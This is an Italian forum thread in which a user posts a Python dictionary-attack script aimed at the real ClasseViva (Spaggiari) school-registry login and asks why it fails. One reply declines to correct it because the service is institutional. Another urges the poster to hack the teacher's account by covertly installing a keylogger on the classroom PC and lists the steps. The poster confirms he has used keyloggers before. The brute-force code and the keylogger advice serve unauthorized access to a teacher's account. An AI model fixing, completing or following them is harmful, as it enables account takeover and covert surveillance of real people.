Domanda Risolto BruteForce In Python, non capisco perchè non mi funziona lo script

MrFox03

Utente Iron
11 Agosto 2020
2
1
0
10
Ultima modifica da un moderatore:
Sto provando a creare un BruteForce ma non capisco perchè non funziona.
Io credo non funzioni per via dell'Identificativo o password errati dentro il content
oppure per il login, la password o il submit.(So che probabilmente non è la sezione giusta)

Python:
#Created by MrFox

#Import
import requests

#Define
url = 'https://web.spaggiari.eu/home/app/default/login.php'
psw = open('Wordlist.txt','r').readlines()

#Attack
for line in psw:
    password = line.strip()
    http = requests.post(url, data={'login':'Qua ci sta il codice personale','password':password,'sub':'submit'})
    content = http.content
    if "Identificativo o password errati" in content:
        print("Password invalida: " + password)
    else:
        print("Password trovata: " + password)
        break
 
E' tutto sbagliato, sia l'URL a cui fare la POST, che i campi che la risposta da controllare. Non entrero' nel dettaglio trattandosi di un servizio "istituzionale".
 
Se proprio ci tieni ad hackerare l'account del tuo prof perché non installi un KeyLogger scritto in Python direttamente sul pc in aula.
E' molto più semplice, Online trovi molte guide.

Prima te lo scrivi a casa e metti tutto sulla USB
Poi installi ovviamente Python sul pc Vittima
Fai in modo che lo script salvi la cartella in una cartella specifica e non ovviamente sul Desktop.
Esegui
E aspetti che il prof faccia il suo dovere.
 
Avevo già usato il Keylogger qualche anno fa, ma volevo propio provare a creare un attacco a dizionario apposta per Classeviva, in modo da poterlo fare anche senza il contatto col computer.